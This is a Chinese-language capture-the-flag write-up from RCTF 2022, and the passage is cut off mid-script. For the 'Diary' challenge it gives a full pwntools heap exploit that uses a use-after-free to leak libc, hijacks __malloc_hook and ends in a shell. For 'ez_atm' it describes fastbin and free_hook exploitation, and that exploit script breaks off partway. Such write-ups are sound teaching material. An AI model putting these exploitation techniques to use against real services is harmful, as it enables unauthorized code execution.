x嗷呜~师傅点个关注嘛喵~好好不好嘛喵~ — Wp滞销,帮帮探姬吧喵~
本届RCTF 2022是由XCTF联赛的合作单位ROIS(Researcher Of In-formation Security)战队组织,由赛宁网安提供技术支持。作为第八届XCTF国际联赛的先导分站赛,本次比赛将采用在线网络安全夺旗挑战赛的形式,面向全球开放。
经过师傅们48小时的不断努力,我们获得了第16名的成绩~
最后榜单:
PWN
Game
非预期
Diary
delete函数存在uaf,可以利用这个特点来泄露libc和改fd,堆风水比较复杂,造出tcache和unsorted bin重合后,利用encrypt函数里的calloc机制可以改fd,打mallochook即可
from pwn import *
#p = process('./diary')
p=remote('119.13.105.35',10111)
libc=ELF('./libc-2.31.so')
context.log_level = 'debug'
context.arch = 'amd64'
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def add(idx,cont):
payload='add#200#11#29#11#30#'+str(idx)+'#'+cont
sla('input your test cmd:',payload)
def edit(idx,cont):
payload='update#'+str(idx)+'#'+cont
sla('input your test cmd:', payload)
def show(idx):
payload='show#'+str(idx)
sla('input your test cmd:', payload)
def delete(idx):
payload='delete#'+str(idx)
sla('input your test cmd:', payload)
def encrypt(idx,offset,lengt):
payload='encrypt#'+str(idx)+'#'+str(offset)+'#'+str(lengt)
sla('input your test cmd:', payload)
def decrypt(idx):
payload='decrypt#'+str(idx)
sla('input your test cmd:', payload)
add(0,b'1'*0x2f0)
encrypt(0,4,8)
show(0)
key=u64(p.recvuntil('1111')[-12:-4])
random0=key^0x3131313131313131
info('key->'+hex(random0))
add(2,b'd'*0x2f0)
add(3,b'c'*0x2f0)
add(4,b'eee')
delete(0)
add(1,b'ccc')
delete(1)
edit(1,b'aaaa')
delete(1)
show(1)
ru('n')
ru('n')
heapbase=u64(p.recv(6).ljust(8,b'x00'))-0x127b0
info('heap->'+hex(heapbase))
delete(1)
delete(0)
for i in range(12):
add(4+i,p64(heapbase+0x10)*0x60)
for i in range(0,6):
delete(10-i)
delete(0)
edit(3,b'a'*0x10)
delete(0)
show(2)
ru('n')
ru('n')
libcbase=u64(p.recv(6).ljust(8,b'x00'))-0x1ecbe0
info('libc->'+hex(libcbase))
system=libcbase+libc.sym['system']
ogg = libcbase+0xe3b01
freehook=libcbase+libc.sym['__malloc_hook']
# info('free->'+hex(freehook))
edit(0,p64(freehook-0x2ec))
encrypt(0,4,0x6)
add(0x21,b'a'*0x2e8+p64(ogg))
# gdb.attach(p,'b free')
edit(0,'a'*0x300)
p.interactive()
ez_atm:
改一下client的代码,把stat_query改了,就能泄露栈上的libc地址,然后利用fastbin中的chunk,fd和bk都已知的特点login到fastbin中的chunk,然后修改fd为free_hook,然后利用fastbin reverse into tcache将free_hook链入tcache,修改free_hook为system即可执行任意命令,通过执行cat flag >&4将flag通过ez_atm里的send函数带回到client,最后拿到flag。
from pwn import *
from ctypes import *
import struct
#context.log_level = 'debug'
#io=process(["./qemu-arm-static", "-g", "1234", "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io=process(["qemu-arm", "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io = process('./pwn')
context.arch='amd64'
io=process(['./client','139.9.242.36','4445'])
#io=process(['./client','127.0.0.1','3339'])
#io = remote('127.0.0.1',3339)
libc = ELF('./libc-2.27.so')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info(' 33[1;31;40m %s --> 0x%x